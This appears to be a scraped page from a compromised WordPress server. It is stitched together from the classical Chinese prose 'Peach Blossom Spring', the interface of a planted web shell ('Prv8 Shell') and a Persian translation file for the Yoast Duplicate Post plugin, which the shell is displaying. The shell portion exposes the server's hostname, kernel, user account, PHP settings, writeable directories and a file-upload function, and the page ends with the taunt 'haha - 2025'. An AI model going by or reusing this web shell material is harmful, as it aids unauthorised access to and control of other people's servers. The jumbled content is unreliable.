晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/rainic/public_html/oldTZh/wp-content/languages/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/rainic/public_html/oldTZh/wp-content/languages/plugins/duplicate-post-fa_IR.po
# Translation of Plugins - Yoast Duplicate Post - Stable (latest release) in Persian
# This file is distributed under the same license as the Plugins - Yoast Duplicate Post - Stable (latest release) package.
msgid ""
msgstr ""
"PO-Revision-Date: 2022-12-24 05:39:51+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=1; plural=0;\n"
"X-Generator: GlotPress/4.0.0-alpha.3\n"
"Language: fa\n"
"Project-Id-Version: Plugins - Yoast Duplicate Post - Stable (latest release)\n"

#. translators: %1$s and %2$s are replaced by opening and closing anchor tags.
#: src/ui/newsletter.php:33
msgid "Yoast respects your privacy. Read %1$sour privacy policy%2$s on how we handle your personal information."
msgstr "یوست به حریم خصوصی شما احترام می گذارد. درباره نحوه استفاده از اطلاعات شخصی شما %1$sسیاست حفظ حریم خصوصی ما%2$s را بخوانید."

#: src/admin/views/options.php:236
msgid "Welcome notice"
msgstr "اعلان خوش‌آمد‌گویی"

#: src/admin/options.php:262
msgid "Show welcome notice"
msgstr "نمایش اعلان خوش‌آمدگویی"

#. translators: %s: Yoast Duplicate Post.
#: admin-functions.php:224
msgid "You've successfully installed %s!"
msgstr "شما %s را با موفقیت نصب کردید!"

#: src/ui/newsletter.php:137
msgid "You have successfully subscribed to the newsletter. Please check your inbox."
msgstr "شما با موفقیت در خبرنامه مشترک شده‌اید. لطفا صندوق دریافتی خود را بررسی کنید."

#: src/ui/newsletter.php:97
msgid "Please enter valid e-mail address."
msgstr "لطفا آدرس ایمیل معتبر وارد کنید."

#: src/ui/newsletter.php:81 src/ui/newsletter.php:131
msgid "Something went wrong. Please try again later."
msgstr "مشکلی پیش‌آمد. لطفا بعدا دوباره سعی نمایید."

#: src/handlers/check-changes-handler.php:134
msgid "Added"
msgstr "افزوده شد"

#: src/handlers/check-changes-handler.php:133
msgid "Removed"
msgstr "پاک شد"

#: src/post-republisher.php:224
msgid "An error occurred while deleting the Rewrite & Republish copy."
msgstr "هنگام حذف کپی بازنویسی و بازنشر، خطایی روی داد."

#. Description of the plugin
msgid "The go-to tool for cloning posts and pages, including the powerful Rewrite & Republish feature."
msgstr "ابزار پیشرو برای تکثیر کردن نوشته‌ها و برگه‌ها، شامل ویژگی بازنویسی و بازنشر قدرتمند است."

#. translators: 1: The page title with a link to the frontend page, 2: The
#. scheduled date and time.
#: src/ui/classic-editor.php:291
msgid "This rewritten page %1$s is now scheduled to replace the original page. It will be published on %2$s."
msgstr " بازنویسی صفحه %1$s برنامه ریزی شده است که جایگزین صفحه اصلی شود. در %2$s منتشر می شود."

#. translators: 1: The post title with a link to the frontend page, 2: The
#. scheduled date and time.
#: src/ui/classic-editor.php:278
msgid "This rewritten post %1$s is now scheduled to replace the original post. It will be published on %2$s."
msgstr "این نوشته بازنویسی شده %1$s اکنون قرار است جایگزین نوشته اصلی شود. بر روی %2$s منتشر می شود."

#: src/ui/classic-editor.php:252 js/dist/duplicate-post-strings-450.js:1
msgid "Schedule republish"
msgstr "بازنشر را زمانبندی کنید"

#. translators: %s: Date on which the post is to be republished.
#: src/ui/classic-editor.php:229
msgid "Republish on: %s"
msgstr "بازنشر در: %s"

#: src/ui/classic-editor.php:201
msgid "Compare"
msgstr "مقایسه"

#: src/ui/classic-editor.php:198
msgid "Do you want to compare your changes with the original version before merging? Please save any changes first."
msgstr "آیا می خواهید قبل از ادغام تغییرات خود را با نسخه اصلی مقایسه کنید؟ لطفاً ابتدا تغییرات را ذخیره کنید."

#. translators: %s: Original item link (to view or edit) or title.
#: src/ui/post-states.php:61
msgid "Rewrite & Republish of %s"
msgstr "بازنویسی و انتشار مجدد %s"

#: src/ui/row-actions.php:145
msgctxt "verb"
msgid "Rewrite & Republish"
msgstr "بازنویسی و انتشار مجدد"

#. translators: %s: Post title.
#: src/ui/row-actions.php:143
msgid "Rewrite & Republish “%s”"
msgstr "بازنویسی و انتشار مجدد “%s”"

#: src/admin/views/options.php:190
msgid "Show these links"
msgstr "این پیوندها را نشان دهید"

#: src/admin/views/options.php:153
msgid "Warning: users will be able to copy, rewrite and republish all posts, even those of other users."
msgstr "هشدار: کاربران قادر به کپی، بازنویسی و بازنشر همه پست ها، حتی پست های سایر کاربران خواهند بود."

#: src/admin/options.php:281 src/ui/admin-bar.php:105 src/ui/admin-bar.php:125
#: src/ui/bulk-actions.php:74 src/ui/classic-editor.php:173
#: js/dist/duplicate-post-edit-450.js:1
msgid "Rewrite & Republish"
msgstr "بازنویسی و انتشار مجدد"

#: src/admin/options.php:236
msgid "In a metabox in the Edit screen"
msgstr "در یک متاباکس در صفحه ویرایش"

#: src/admin/options.php:142
msgid "Post format"
msgstr "ساختار نوشته"

#: src/watchers/original-post-watcher.php:51
msgid "The original post has been edited in the meantime. If you click \"Republish\", this rewritten post will replace the original post."
msgstr "در این بین نوشته اصلی ویرایش شده است. اگر روی \"بازنشر\" کلیک کنید، این نوشته بازنویسی شده جایگزین نوشته اصلی می شود."

#. translators: %s: Number of posts copied.
#: src/watchers/bulk-actions-watcher.php:79
msgid "%s post duplicated. You can now start rewriting your post in the duplicate of the original post. Once you choose to republish it your changes will be merged back into the original post."
msgid_plural "%s posts duplicated. You can now start rewriting your posts in the duplicates of the original posts. Once you choose to republish them your changes will be merged back into the original post."
msgstr[0] "%s نوشته تکراری است. اکنون می توانید بازنویسی نوشته خود را در نسخه تکراری نوشته اصلی شروع کنید. پس از انتشار مجدد آن، تغییرات شما دوباره در نوشته اصلی ادغام خواهد شد."

#: src/watchers/republished-post-watcher.php:65
msgid "Your original post has been replaced with the rewritten post. You are now viewing the (rewritten) original post."
msgstr "نوشته اصلی شما با نوشته بازنویسی شده جایگزین شده است. شما در حال مشاهده نوشته اصلی (بازنویسی شده) هستید."

#. translators: %1$s: scheduled date of the copy, %2$s: scheduled time of the
#. copy.
#: src/watchers/copied-post-watcher.php:66
msgid "A duplicate of this post was made, which is scheduled to replace this post on %1$s at %2$s."
msgstr "یک نسخه تکراری از این نوشته ایجاد شد، که قرار است این نوشته بر روی %1$s در %2$s جایگزین شود."

#: src/watchers/copied-post-watcher.php:58
msgid "A duplicate of this post was made. Please note that any changes you make to this post will be replaced when the duplicated version is republished."
msgstr "یک نسخه تکراری از این پست ایجاد شد. لطفاً توجه داشته باشید که هرگونه تغییر در این نوشته با انتشار مجدد نسخه تکراری جایگزین می شود."

#: src/watchers/copied-post-watcher.php:50
msgid "You can only make one Rewrite & Republish duplicate at a time, and a duplicate of this post already exists in the trash. Permanently delete it if you want to make a new duplicate."
msgstr "هربار فقط می توانید یک مورد بازنویسی و بازنشر کنید، و یک نسخه تکراری از این نوشته قبلاً در سطل زباله وجود دارد. اگر می خواهید یک نسخه تکراری جدید ایجاد کنید، آن را برای همیشه حذف کنید."

#: src/watchers/link-actions-watcher.php:113
msgid "You can now start rewriting your post in this duplicate of the original post. If you click \"Republish\", this rewritten post will replace the original post."
msgstr "اکنون می توانید بازنویسی نوشته خود را در این نسخه تکراری از نوشته اصلی شروع کنید. اگر روی \"بازنشر\" کلیک کنید، این نوشته بازنویسی شده جایگزین نوشته اصلی می شود."

#: src/watchers/link-actions-watcher.php:97
msgid "You can now start rewriting your post in this duplicate of the original post. If you click \"Republish\", your changes will be merged into the original post and you’ll be redirected there."
msgstr "اکنون می توانید بازنویسی نوشته خود را در این نسخه تکراری از نوشته اصلی شروع کنید. اگر روی \"بازنشر\" کلیک کنید ، تغییرات شما در نوشته اصلی ادغام شده و به آنجا هدایت می شوید."

#: src/post-republisher.php:332
msgid "An error occurred while republishing the post."
msgstr "هنگام بازنشر نوشته خطایی روی داد."

#: src/post-republisher.php:83 src/ui/classic-editor.php:224
#: js/dist/duplicate-post-strings-450.js:1
msgid "Republish"
msgstr "انتشار مجدد"

#: src/handlers/link-handler.php:213
msgid "You cannot create a copy for Rewrite & Republish if the original is not published or if it already has a copy."
msgstr "اگر نسخه اصلی چاپ نشده یا در حال حاضر یک نسخه دارد، نمی توانید یک نسخه برای بازنویسی و بازنشر ایجاد کنید."

#: src/handlers/link-handler.php:91 src/handlers/link-handler.php:147
#: src/handlers/link-handler.php:221
msgid "Copy creation failed, could not create a copy."
msgstr "ایجاد کپی انجام نشد، نتوانست یک کپی ایجاد کند."

#: src/handlers/link-handler.php:83 src/handlers/link-handler.php:139
msgid "You cannot create a copy of a post which is intended for Rewrite & Republish."
msgstr "شما نمی توانید یک کپی از پست ایجاد کنید که برای بازنویسی و بازنشر در نظر گرفته شده است."

#: src/handlers/check-changes-handler.php:116
msgid "← Return to editor"
msgstr "← بازگشت به ویرایشگر"

#. translators: %s: original item link (to view or edit) or title.
#: src/handlers/check-changes-handler.php:111
msgid "Compare changes of duplicated post with the original (“%s”)"
msgstr "مقایسه تغییرات پست تکثیر شده با نسخه اصلی (“%s”)"

#: src/handlers/check-changes-handler.php:97
msgid "Changes overview failed, could not find original post."
msgstr "نمای کلی تغییرات ناموفق بود، پست اصلی یافت نشد."

#. translators: %s: post ID.
#: src/handlers/check-changes-handler.php:84
msgid "Changes overview failed, could not find post with ID %s."
msgstr "نمای کلی تغییرات ناموفق بود، پست با شناسه %s پیدا نشد."

#: src/handlers/check-changes-handler.php:68
msgid "No post has been supplied!"
msgstr "هیچ نوشته ای ارسال نشده است!"

#: admin-functions.php:597
msgid "You aren't allowed to duplicate this post"
msgstr "شما مجاز به تکثیر این پست نیستید"

#: src/ui/newsletter.php:58
msgid "Subscribe"
msgstr "اشتراک"

#. translators: 1: Code start tag, 2: Code closing tag, 3: Link start tag to
#. the template tag documentation, 4: Link closing tag.
#: src/admin/views/options.php:216
msgid "You can also use the template tag %1$sduplicate_post_clone_post_link( $link, $before, $after, $id )%2$s. %3$sMore info on the template tag%4$s."
msgstr "همچنین می توانید از برچسب الگو %1$sduplicate_post_clone_post_link( $link, $before, $after, $id )%2$s استفاده کنید. %3$s اطلاعات بیشتر در مورد برچسب الگو %4$s."

#. translators: %s: Post title.
#: src/ui/row-actions.php:112
msgid "New draft of “%s”"
msgstr "پیش‌نویس جدید “%s”"

#: src/ui/row-actions.php:87
msgctxt "verb"
msgid "Clone"
msgstr "تکثیرکردن"

#. translators: %s: post title
#: src/ui/metabox.php:100
msgid "The original item this was copied from is: <span class=\"duplicate_post_original_item_title_span\">%s</span>"
msgstr ""
"مورد اصلی که از آن کپی شده است:\n"
" <span class=\"duplicate_post_original_item_title_span\">%s</span>"

#: src/ui/column.php:135
msgid "The original item this was copied from is: <span class=\"duplicate_post_original_item_title_span\"></span>"
msgstr ""
"مورد اصلی که از آن کپی شده است:\n"
" <span class=\"duplicate_post_original_item_title_span\"></span>"

#: src/ui/column.php:130 src/ui/metabox.php:89
msgid "Delete reference to original item."
msgstr "حذف منبع مورد اصلی"

#: src/ui/newsletter.php:29
msgid "Email address"
msgstr "آدرس ایمیل"

#. translators: 1: Yoast
#: src/ui/newsletter.php:22
msgid "If you want to stay up to date about all the exciting developments around Duplicate Post, subscribe to the %1$s newsletter!"
msgstr "اگر می خواهید در مورد همه تحولات هیجان انگیز پیرامون تکثیر کننده پست به روز باشید، در خبرنامه %1$s مشترک شوید!"

#. Author URI of the plugin
msgid "https://yoast.com"
msgstr "https://yoast.com"

#. Author of the plugin
msgid "Enrico Battocchi & Team Yoast"
msgstr "انریکو باتوچی و تیم یوست"

#. Plugin URI of the plugin
msgid "https://yoast.com/wordpress/plugins/duplicate-post/"
msgstr "https://yoast.com/wordpress/plugins/duplicate-post/"

#. Plugin Name of the plugin
msgid "Yoast Duplicate Post"
msgstr "تکثیر کننده پست"

#. translators: %s: Post title.
#: src/ui/row-actions.php:85
msgid "Clone &#8220;%s&#8221;"
msgstr "تکرار &#8220;%s&#8221;"

#. translators: %s: Original item link (to view or edit) or title.
#: src/ui/post-states.php:67
msgid "Original: %s"
msgstr "اصلی: %s "

#: src/ui/column.php:68
msgid "Original item"
msgstr "گزینه اصلی"

#: src/admin/options.php:256
msgid "After the title in the Post list"
msgstr "بعد از عنوان در لیست نوشته"

#: src/admin/options.php:249
msgid "You'll also be able to delete the reference to the original item with a checkbox in Quick Edit"
msgstr "همچنین می توانید منبع مورد اصلی را با یک چک باکس در قسمت ویرایش سریع حذف کنید"

#: src/admin/options.php:246
msgid "In a column in the Post list"
msgstr "در یک ستون در فهرست نوشته"

#: src/admin/options.php:239
msgid "You'll also be able to delete the reference to the original item with a checkbox"
msgstr "همچنین می توانید منبع مورد اصلی را با یک چک باکس حذف کنید"

#: src/admin/views/options.php:227
msgid "Show original item:"
msgstr "نمایش گزینه اصلی:"

#: src/admin/views/options.php:20
msgid "Settings sections"
msgstr "بخش‌های تنظیمات"

#: duplicate-post.php:98
msgid "Settings for Duplicate Post"
msgstr "تنظیمات تکثیر کننده پست"

#. translators: %s: post title
#: src/utils.php:144
msgid "View &#8220;%s&#8221;"
msgstr "مشاهده &#8220;%s&#8221;"

#. translators: %s: post title
#: src/utils.php:134
msgid "Preview &#8220;%s&#8221;"
msgstr "پیش نمایش &#8220;%s&#8221;"

#. translators: %s: post title
#: src/utils.php:122
msgid "Edit &#8220;%s&#8221;"
msgstr "ویرایش &#8220;%s&#8221;"

#: src/handlers/link-handler.php:58 src/handlers/link-handler.php:114
#: src/handlers/link-handler.php:188
msgid "Current user is not allowed to copy posts."
msgstr "این کاربر مجاز به کپی نوشته‌ها نیست."

#: src/admin/options.php:165
msgid "you probably want this unchecked, unless you have very special requirements"
msgstr "این گزینه پیشنهاد نمیشود،مگراینکه خواسته های خیلی خاص داشته باشید"

#: admin-functions.php:750
msgid "Documentation"
msgstr "مستندات"

#: src/admin/options.php:307
msgid "Bulk Actions"
msgstr "کارهای دسته‌جمعی"

#: src/admin/options.php:217
msgid "You can use * to match zero or more alphanumeric characters or underscores: e.g. field*"
msgstr "میتوانید از * برای وصل کردن صفر حرف الفبا یا بیشتر یا خط کشیدن استفاده کنید:برای مثال field*"

#: src/admin/options.php:186
msgid "Menu order"
msgstr "چیدمان فهرست"

#: src/admin/options.php:149
msgid "Author"
msgstr "نویسنده"

#: src/admin/options.php:135
msgid "Template"
msgstr "الگو"

#: src/admin/options.php:128
msgid "Featured Image"
msgstr "تصویر شاخص"

#. translators: %s: Number of posts copied.
#: src/watchers/bulk-actions-watcher.php:55
#: src/watchers/link-actions-watcher.php:73
msgid "%s item copied."
msgid_plural "%s items copied."
msgstr[0] "%s آیتم کپی شد."

#: src/admin/views/options.php:174 src/admin/views/options.php:211
msgid "Whether the links are displayed for custom post types registered by themes or plugins depends on their use of standard WordPress UI elements."
msgstr "این که آیا پیوندها در انواع نوشته سفارشی ثبت‌شده توسط پوسته‌ها یا افزونه‌ها نمایش داده می‌شوند، به استفاده آنها از عناصر استاندارد رابط کاربری وردپرس بستگی دارد."

#: src/admin/views/options.php:172
msgid "Select the post types you want the plugin to be enabled for."
msgstr "نوع نوشته‌هایی که میخواهید افزونه برای آنها فعال باشد را انتخاب کنید."

#: src/admin/views/options.php:162 src/admin/views/options.php:166
msgid "Enable for these post types"
msgstr "برای این نوع نوشته ها فعال کن"

#: src/admin/views/options.php:155
msgid "Passwords and contents of password-protected posts may become visible to undesired users and visitors."
msgstr "گذرواژه و محتوای نوشته‌های محافظت شده با رمز عبور ممکن است ناخواسته برای کاربران و بازدیدکنندگان قابل مشاهده باشد."

#: src/admin/views/options.php:127
msgid "Show/hide private taxonomies"
msgstr "نشان دارن/پنهان کردن طبقه بندی ها"

#: src/admin/options.php:208
msgid "Add this number to the original menu order (blank or zero to retain the value)"
msgstr "این عدد را در دسته اصلی وارد کنید.(خالی یا از صفر به بالا)"

#: src/admin/options.php:206 src/admin/views/options.php:93
msgid "Increase menu order by"
msgstr "دسته منو را زیاد کن با"

#: src/admin/options.php:180
msgid "except pingbacks and trackbacks"
msgstr "به جز اعلانات"

#: src/admin/options.php:178
msgid "Comments"
msgstr "دیدگاه‌ها"

#: src/admin/options.php:171
msgid "Children"
msgstr "فرزندان"

#: src/admin/options.php:163
msgid "Attachments"
msgstr "پیوست‌ها"

#: src/admin/options.php:156
msgid "Password"
msgstr "رمز عبور"

#: src/admin/options.php:121 src/handlers/check-changes-handler.php:127
msgid "Content"
msgstr "محتوا"

#: src/admin/options.php:114 src/handlers/check-changes-handler.php:128
msgid "Excerpt"
msgstr "برگزیدن"

#: src/admin/options.php:107
msgid "Slug"
msgstr "نامک"

#: src/admin/options.php:100
msgid "Status"
msgstr "وضعیت"

#: src/admin/options.php:93
msgid "Date"
msgstr "تاریخ"

#: src/admin/options.php:86 src/handlers/check-changes-handler.php:126
msgid "Title"
msgstr "عنوان"

#: src/admin/views/options.php:58 src/admin/views/options.php:61
msgid "Post/page elements to copy"
msgstr "محتواهای نوشته/برگه برای کپی"

#: src/admin/views/options.php:46 src/admin/views/options.php:187
msgid "Display"
msgstr "نمایش"

#: src/admin/views/options.php:37 src/admin/views/options.php:140
msgid "Permissions"
msgstr "دسترسی ها"

#: src/admin/views/options.php:28 src/admin/views/options.php:55
msgid "What to copy"
msgstr "چه چیزهایی کپی شود؟"

#: admin-functions.php:603
msgid "Copy features for this post type are not enabled in options page"
msgstr "\"کپی کردن امکانات\" برای این نوع نوشته در صفحه گزینه ها فعال نشده است."

#: duplicate-post.php:99
msgid "Settings"
msgstr "تنظیمات"

#: src/admin/views/options.php:247
msgid "Save changes"
msgstr "ذخیره تغییرات"

#: src/admin/options.php:297
msgid "Admin bar"
msgstr "نوار مدیر سایت"

#: src/admin/options.php:302
msgid "Edit screen"
msgstr "ویرایش صفحه"

#: src/admin/options.php:292
msgid "Post list"
msgstr "فهرست نوشته‌ها"

#: src/admin/views/options.php:202
msgid "Show links in"
msgstr "نمایش پیوند‌ها در"

#: src/admin/views/options.php:144 src/admin/views/options.php:147
msgid "Roles allowed to copy"
msgstr "نقش‌های مجاز برای کپی"

#: src/admin/options.php:201
msgid "Suffix to be added after the title, e.g. \"(dup)\" (blank for no suffix)"
msgstr "پسوند برای افزودن به انتهای عنوان، برای مثال «تکراری» (خالی برای بدون پسوند)"

#: src/admin/options.php:199 src/admin/views/options.php:82
msgid "Title suffix"
msgstr "پسوند عنوان"

#: src/admin/options.php:194
msgid "Prefix to be added before the title, e.g. \"Copy of\" (blank for no prefix)"
msgstr "پیشوند برای اضافه کردن به اول عنوان،برای مثال \"کپی از\" (خالی:بدون پیشوند)"

#: src/admin/options.php:192 src/admin/views/options.php:71
msgid "Title prefix"
msgstr "پیشوند عنوان"

#: src/admin/views/options.php:116 src/admin/views/options.php:120
msgid "Do not copy these taxonomies"
msgstr "این طبقه بندی ها را کپی نکن"

#: src/admin/options.php:216
msgid "Comma-separated list of meta fields that must not be copied."
msgstr "لیستی از متا فیلدها که نباید کپی شوند، با ویرگول جدا شده است."

#: src/admin/options.php:213 src/admin/views/options.php:105
msgid "Do not copy these fields"
msgstr "این فیلد ها را کپی نکن"

#: src/admin/options-page.php:77 src/ui/admin-bar.php:89 src/ui/metabox.php:59
msgid "Duplicate Post"
msgstr "تکثیر کننده پست"

#: src/admin/options-page.php:76 src/admin/views/options.php:14
msgid "Duplicate Post Options"
msgstr "گزینه های تکثیر کننده پست"

#: src/handlers/link-handler.php:75 src/handlers/link-handler.php:131
#: src/handlers/link-handler.php:205
msgid "Copy creation failed, could not find original:"
msgstr "فیلد را کپی کن،نسخه اصلی یافت نشد:"

#: src/handlers/link-handler.php:63 src/handlers/link-handler.php:119
#: src/handlers/link-handler.php:193
msgid "No post to duplicate has been supplied!"
msgstr "هیچ پستی برای تکثیر کردن عرضه نشده است!"

#: src/admin/options.php:271 src/ui/row-actions.php:114
msgid "New Draft"
msgstr "پیش‌نویس تازه"

#: common-functions.php:79 src/ui/admin-bar.php:97 src/ui/admin-bar.php:115
#: src/ui/classic-editor.php:144 js/dist/duplicate-post-edit-450.js:1
msgid "Copy to a new draft"
msgstr "در یک پیش‌نویس تازه کپی کن"

#: src/admin/options.php:276 src/ui/bulk-actions.php:69
msgid "Clone"
msgstr "تکثیرکردن"

haha - 2025